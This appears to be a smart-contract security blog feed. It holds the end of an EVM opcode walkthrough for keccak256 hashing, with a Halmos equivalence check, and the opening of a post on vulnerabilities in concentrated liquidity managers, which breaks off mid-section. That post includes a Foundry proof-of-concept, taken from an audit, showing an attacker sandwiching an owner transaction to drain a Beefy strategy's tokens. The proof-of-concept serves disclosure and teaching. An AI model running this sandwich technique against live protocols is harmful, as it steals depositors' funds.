PUSH1(<span class="hljs-number">0x44</span>)  [Stack : <span class="hljs-number">0x44</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>  ]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// push value of `c` onto stack from calldata</span>
CALLDATALOAD [Stack : <span class="hljs-number">0x03</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>  ]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// push offset to calculate NFMA</span>
PUSH1(<span class="hljs-number">0x60</span>)  [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>    ]

<span class="hljs-comment">// duplicate 0x80</span>
DUP4         [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>          ]

<span class="hljs-comment">// calculate NFMA</span>
ADD          [Stack : <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>    ]

<span class="hljs-comment">// store value of `c` into memory at NFMA</span>
MSTORE       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>                     ]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// note: all input parameters are now stored in memory</span>

<span class="hljs-comment">// push 0x60 which will be saved to memory then later</span>
<span class="hljs-comment">// used as the `size` parameter for keccak256 call</span>
PUSH1(<span class="hljs-number">0x60</span>)  [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>               ]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// note: subsequent opcodes related to `abi.encode`</span>

<span class="hljs-comment">// duplicate memory address to save previously pushed `size` parameter</span>
DUP3         [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>         ]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// save the `size` parameter into memory</span>
MSTORE       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>                                  ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// used to calculate NFMA</span>
PUSH1(<span class="hljs-number">0x80</span>)  [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>                            ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// used to calculate NFMA</span>
DUP3         [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>                      ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// calculates NFMA; value used in LT and GT comparison</span>
<span class="hljs-comment">// then saved later on to FMPA</span>
ADD          [Stack : <span class="hljs-number">0x100</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>                           ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 3rd and 1st stack elements</span>
SWAP2        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>                           ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// used for LT comparison</span>
DUP1         [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>                     ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// used for LT comparison</span>
DUP4         [Stack : <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>              ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// 0x100 &lt; 0x80 ? false</span>
LT           [Stack : <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>                     ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// used for GT comparison</span>
PUSH8(<span class="hljs-number">0xffffffffffffffff</span>)
             [Stack : <span class="hljs-number">0xffffffffffffffff</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span> ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// duplicate</span>
DUP5         [Stack : <span class="hljs-number">0x100</span>, <span class="hljs-number">0xffffffffffffffff</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>      ]

<span class="hljs-comment">// 0x100 &gt; 0xffffffffffffffff ? false</span>
GT           [Stack : <span class="hljs-number">0x00</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>               ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// 0x00 or 0x00 = 0x00</span>
OR           [Stack : <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>                     ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// not sure why this gets pushed here</span>
PUSH1(<span class="hljs-number">0x76</span>)  [Stack : <span class="hljs-number">0x76</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>               ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// jump ? false</span>
JUMPI        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>                           ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// not sure why this gets pushed here</span>
PUSH1(<span class="hljs-number">0x20</span>)  [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x00</span>                     ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 5th and 1st stack elements</span>
SWAP4        [Stack : <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                     ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// remove top element 0x00</span>
POP          [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                           ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// duplicate </span>
DUP3         [Stack : <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                    ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// prepare to over-write FMPA with previously</span>
<span class="hljs-comment">// calculated NFMA</span>
PUSH1(<span class="hljs-number">0x40</span>)  [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>              ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// over-write value of FMPA with next NFMA</span>
<span class="hljs-comment">// FMPA was not being used though?</span>
MSTORE       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                                         ]
             [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// load `size` parameter for keccak256 call</span>
MLOAD        [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                                         ]
             [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1        [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                                         ]
             [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// call keccak256(offset, size)</span>
KECCAK256    [Stack : result, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x20</span>                                             ]
             [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]
</code></pre>
<h3 id="heading-formal-verification-using-halmos">Formal Verification Using Halmos</h3>
<p>The following function can be added to the existing <code>GasDebugTest</code> contract in order to formally verify using <a target="_blank" href="https://github.com/a16z/halmos">Halmos</a> that both the assembly and solidity versions produce the same output:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// halmos --match-contract GasDebugTest</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">check_GasImplEquivalent</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a1, <span class="hljs-keyword">uint256</span> b1, <span class="hljs-keyword">uint256</span> c1</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">bytes32</span> resultNormal   <span class="hljs-operator">=</span> gasImplNormal.getKeccak256(a1,b1,c1);
    <span class="hljs-keyword">bytes32</span> resultAssembly <span class="hljs-operator">=</span> gasImplAssembly.getKeccak256(a1,b1,c1);

    assertEq(resultNormal, resultAssembly);
}
</code></pre>
<p>Execute the formal verification using: <code>halmos --match-contract GasDebugTest</code></p>
<h3 id="heading-additional-resources">Additional Resources</h3>
<ul>
<li><a target="_blank" href="https://github.com/Vectorized/solady/blob/main/src/utils/EfficientHashLib.sol">Solady EfficientHashLib.sol</a></li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Concentrated Liquidity Manager Vulnerabilities]]></title><description><![CDATA[Uniswap V3 introduced Concentrated Liquidity allowing Liquidity Providers (LP) to provide liquidity within a custom price range. The major limitations of Uniswap's implementation are:

LP rewards do not auto-compound; users must manually claim earned...]]></description><link>https://dacian.me/concentrated-liquidity-manager-vulnerabilities</link><guid isPermaLink="true">https://dacian.me/concentrated-liquidity-manager-vulnerabilities</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[defi]]></category><category><![CDATA[Ethereum]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Fri, 19 Apr 2024 07:58:44 GMT</pubDate><content:encoded><![CDATA[<p>Uniswap V3 introduced <a target="_blank" href="https://docs.uniswap.org/concepts/protocol/concentrated-liquidity">Concentrated Liquidity</a> allowing Liquidity Providers (LP) to provide liquidity within a custom price range. The major limitations of Uniswap's implementation are:</p>
<ul>
<li><p>LP rewards do not auto-compound; users must manually claim earned rewards and re-deploy them. This results in less profits for the LP provider due to increased gas fees</p>
</li>
<li><p>Price range is static; users can't provide liquidity into a dynamic price range such as constantly around the current price. If the current price moves outside the LP range rewards will stop accruing unless users re-deploy their liquidity into the new range, which also costs gas</p>
</li>
</ul>
<p>Concentrated Liquidity Managers (CLMs) attempt to address these two limitations by:</p>
<ul>
<li><p>allowing users to deposit their tokens directly with the CLM protocol instead of Uniswap V3</p>
</li>
<li><p>protocol deploys all combined user liquidity into a Uniswap V3 LP position. Since there is only 1 big LP position to manage instead of many smaller ones, the gas costs are minimized increasing LP profitability</p>
</li>
<li><p>protocol frequently harvests LP rewards, auto-compounds them back into the LP position and adjusts the LP range to continue earning rewards</p>
</li>
<li><p>users never have to interact with Uniswap V3 directly and don't have to pay gas fees to continually adjust their LP range &amp; auto-compound fees</p>
</li>
<li><p>users can withdraw their share of the total liquidity and rewards from the protocol</p>
</li>
</ul>
<p>While CLM protocols can provide attractive benefits for liquidity providers compared to interacting with Uniswap V3 directly, they also expose liquidity providers to an additional layer of smart contract risk as they can contain a number of interesting and dangerous vulnerabilities.</p>
<h3 id="heading-attacker-drains-protocol-by-forcing-liquidity-deployment-into-unfavorable-range">Attacker Drains Protocol By Forcing Liquidity Deployment Into Unfavorable Range</h3>
<p>CLM protocols frequently re-deploy their liquidity position around the current price in order to continue earning LP rewards. In order to implement this the LP range is commonly calculated from <code>pool.slot0</code> which is the most recent data point hence <a target="_blank" href="https://solodit.xyz/issues/h-10-ichilporacle-is-extemely-easy-to-manipulate-due-to-how-ichivault-calculates-underlying-token-balances-sherlock-blueberry-blueberry-git">easy to manipulate</a>. Being aware of the manipulation risk protocols typically implement a <a target="_blank" href="https://docs.uniswap.org/concepts/protocol/oracle">TWAP</a> check to prevent their liquidity from being deployed if the pool has been abruptly manipulated.</p>
<p>In Cyfrin's <a target="_blank" href="https://github.com/Cyfrin/cyfrin-audit-reports/blob/main/reports/2024-04-06-cyfrin-beefy-finance-v2.0.pdf">Beefy audit</a> we discovered a critical vulnerability where an attacker could drain the protocol's tokens, bypassing all of Beefy's existing pool manipulation mitigations by exploiting an asymmetry in the enforcement of the <code>onlyCalmPeriods</code> TWAP check which was absent in a couple of <code>onlyOwner</code> functions. Firstly consider this function which on the surface appears to be a boring function that sets a parameter:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setPositionWidth</span>(<span class="hljs-params"><span class="hljs-keyword">int24</span> _width</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    <span class="hljs-keyword">emit</span> SetPositionWidth(positionWidth, _width);
    _claimEarnings();
    _removeLiquidity();
    positionWidth <span class="hljs-operator">=</span> _width;

    <span class="hljs-comment">// @audit updates ticks from `pool.slot0`</span>
    _setTicks();

    <span class="hljs-comment">// @audit deploys liquidity into updated</span>
    <span class="hljs-comment">// tick range without calling `onlyCalmPeriods` </span>
    _addLiquidity();
}
</code></pre>
<p>This function is used by the contract owner to set a parameter but that is of no interest to the attacker; what is of interest is that this function removes existing liquidity, updates the protocol's ticks and re-deploys the liquidity into the new range without enforcing the TWAP check. Hence an attacker can sandwich attack the owner's call to this function to completely <a target="_blank" href="https://solodit.xyz/issues/attacker-can-drain-protocol-tokens-by-sandwich-attacking-owner-call-to-setpositionwidth-and-unpause-to-force-redeployment-of-beefys-liquidity-into-an-unfavorable-range-cyfrin-none-cyfrin-beefy-finance-markdown">drain the protocol's tokens by forcing the protocol's liquidity to be deployed into an unfavorable range</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_AttackerDrainsProtocolViaSetPositionWidth</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-comment">// user deposits and beefy sets up its LP position</span>
    <span class="hljs-keyword">uint256</span> BEEFY_INIT_WBTC <span class="hljs-operator">=</span> <span class="hljs-number">10e8</span>;
    <span class="hljs-keyword">uint256</span> BEEFY_INIT_USDC <span class="hljs-operator">=</span> <span class="hljs-number">600000e6</span>;
    deposit(user, <span class="hljs-literal">true</span>, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);

    (<span class="hljs-keyword">uint256</span> beefyBeforeWBTCBal, <span class="hljs-keyword">uint256</span> beefyBeforeUSDCBal) <span class="hljs-operator">=</span> strategy.balances();

    <span class="hljs-comment">// record beefy WBTC &amp; USDC amounts before attack</span>
    console.log(<span class="hljs-string">"%s : %d"</span>, <span class="hljs-string">"LP WBTC Before Attack"</span>, beefyBeforeWBTCBal); <span class="hljs-comment">// 999999998</span>
    console.log(<span class="hljs-string">"%s : %d"</span>, <span class="hljs-string">"LP USDC Before Attack"</span>, beefyBeforeUSDCBal); <span class="hljs-comment">// 599999999999</span>
    console.log();

    <span class="hljs-comment">// attacker front-runs owner call to `setPositionWidth` using</span>
    <span class="hljs-comment">// a large amount of USDC to buy all the WBTC. This:</span>
    <span class="hljs-comment">// 1) results in Beefy LP having 0 WBTC and lots of USDC</span>
    <span class="hljs-comment">// 2) massively pushes up the price of WBTC</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// Attacker has forced Beefy to sell WBTC "low"</span>
    <span class="hljs-keyword">uint256</span> ATTACKER_USDC <span class="hljs-operator">=</span> <span class="hljs-number">100000000e6</span>;
    trade(attacker, <span class="hljs-literal">true</span>, <span class="hljs-literal">false</span>, ATTACKER_USDC);

    <span class="hljs-comment">// owner calls `StrategyPassiveManagerUniswap::setPositionWidth`</span>
    <span class="hljs-comment">// This is the transaction that the attacker sandwiches. The reason is that</span>
    <span class="hljs-comment">// `setPositionWidth` makes Beefy change its LP position. This will</span>
    <span class="hljs-comment">// cause Beefy to deploy its USDC at the now much higher price range</span>
    strategy.setPositionWidth(width);

    <span class="hljs-comment">// attacker back-runs the sandwiched transaction to sell their WBTC </span>
    <span class="hljs-comment">// to Beefy who has deployed their USDC at the inflated price range, </span>
    <span class="hljs-comment">// and also sells the rest of their WBTC position to the remaining LPs </span>
    <span class="hljs-comment">// unwinding the front-run transaction</span>
    <span class="hljs-comment">//</span>
    <span class="hljs-comment">// Attacker has forced Beefy to buy WBTC "high"</span>
    trade(attacker, <span class="hljs-literal">false</span>, <span class="hljs-literal">true</span>, IERC20(token0).balanceOf(attacker));

    <span class="hljs-comment">// record beefy WBTC &amp; USDC amounts after attack</span>
    (<span class="hljs-keyword">uint256</span> beefyAfterWBTCBal, <span class="hljs-keyword">uint256</span> beefyAfterUSDCBal) <span class="hljs-operator">=</span> strategy.balances();

    <span class="hljs-comment">// beefy has been almost completely drained of WBTC &amp; USDC</span>
    console.log(<span class="hljs-string">"%s  : %d"</span>, <span class="hljs-string">"LP WBTC After Attack"</span>, beefyAfterWBTCBal); <span class="hljs-comment">// 2</span>
    console.log(<span class="hljs-string">"%s  : %d"</span>, <span class="hljs-string">"LP USDC After Attack"</span>, beefyAfterUSDCBal); <span class="hljs-comment">// 0</span>
    console.log();

    <span class="hljs-keyword">uint256</span> attackerUsdcBal <span class="hljs-operator">=</span> IERC20(token1).balanceOf(attacker);
    console.log(<span class="hljs-string">"%s  : %d"</span>, <span class="hljs-string">"Attacker USDC profit"</span>, attackerUsdcBal<span class="hljs-operator">-</span>ATTACKER_USDC);

    <span class="hljs-comment">// attacker original USDC: 100000000 000000</span>
    <span class="hljs-comment">// attacker now      USDC: 101244330 209974</span>
    <span class="hljs-comment">// attacker profit = $1,244,330 USDC</span>
}
</code></pre>
<p>Secondly consider another vulnerable function; again this looks like a routine boring function that allows the owner to unpause the contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// liquidity has been previously removed when pausing</span>
